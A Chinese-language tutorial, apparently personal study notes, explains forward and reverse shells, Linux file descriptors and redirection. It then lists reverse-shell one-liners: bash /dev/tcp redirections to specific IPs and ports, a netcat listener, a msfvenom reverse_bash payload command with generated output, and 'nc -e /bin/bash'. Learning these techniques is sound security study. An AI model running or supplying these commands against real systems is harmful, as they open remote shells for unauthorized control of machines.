前置知识
正反向shell
- 正向shell: 控制端主动发起连接请求去连接被控制端, 中间网络链路不存在阻碍
- 反向shell(反弹shell): 被控端主动发起连接请求去连接控制端, 通常被控端由于防火墙限制、 权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包
Linux标准文件描述符:
Linux系统将所有设备都当作文件来处理, 而Linux用文件描述符来标识每个文件对象; 当Linux启 动的时候会默认打开三个文件描述符
文件描述符 |
缩写 |
描述 |
默认设备 |
0 |
STDIN |
标准输入 |
默认设备键盘 |
1 |
STDOUT |
标准输出 |
默认设备显示器 |
2 |
STDERR |
标准错误输出 |
默认设备显示器 |
更改标准输出/输入的位置
把标准输出位置更改到test文件中
把当前标准输出重定向到test文件中
把test文件中的内容重定向到标准输入
read user 0< test echo $user
|
标准错误输出和标准输出的区别是,它在命令出错情况下的输出
分配自己的文件描述符: 把文件描述符5指向test文件, 然后把当前输出重定向到文件描述符5(用&引用文件描述符, 即找到文件(描述符指向的目标文件)
exec 5> test echo 'are you ok?' 1>&5 cat test
|
/dev/null
特殊文件,写入的任何东西都会被清空。
- 把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
- 快速移除文件中的数据而不用删除文件
重定向
重定向是把输出定向到文件或者标准流; 重定向输入输出本质上就是重定向文件描述符
< 从文件读取输入 > 将输出保存到文件 >> 将输出追加到文件 | 将一个程序的输出作为输入发送到另一个程序(管道符)
|
反弹shell本质
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导 致被控端不能正常接收发送过来的数据包
反弹shell方法
Bash
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1 bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1
nc -lvnp 6666
|
解释
bash -i
/dev/tcp/10.10.1.11/6666
>&、&>
|
一些反弹shell
自动生成反弹shell网站
利用msf生成:
msfvenom -p cmd/unix/reverse_bash lhost=172.16.8.131 lport=1234
|
生成例子:
bash -c '0<&84-;exec 84<>/dev/tcp/172.16.8.131/1234;sh <&84 >&84 2>&84'
|
直接写:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1 bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1 bash -c 'bash -i >& /dev/tcp/172.16.8.131/1234 0>&1'
sh -i >& /dev/tcp/192.168.110.130/7777 0>&1
|
利用nc反弹shell
nc -e /bin/bash 192.168.110.130 7777
|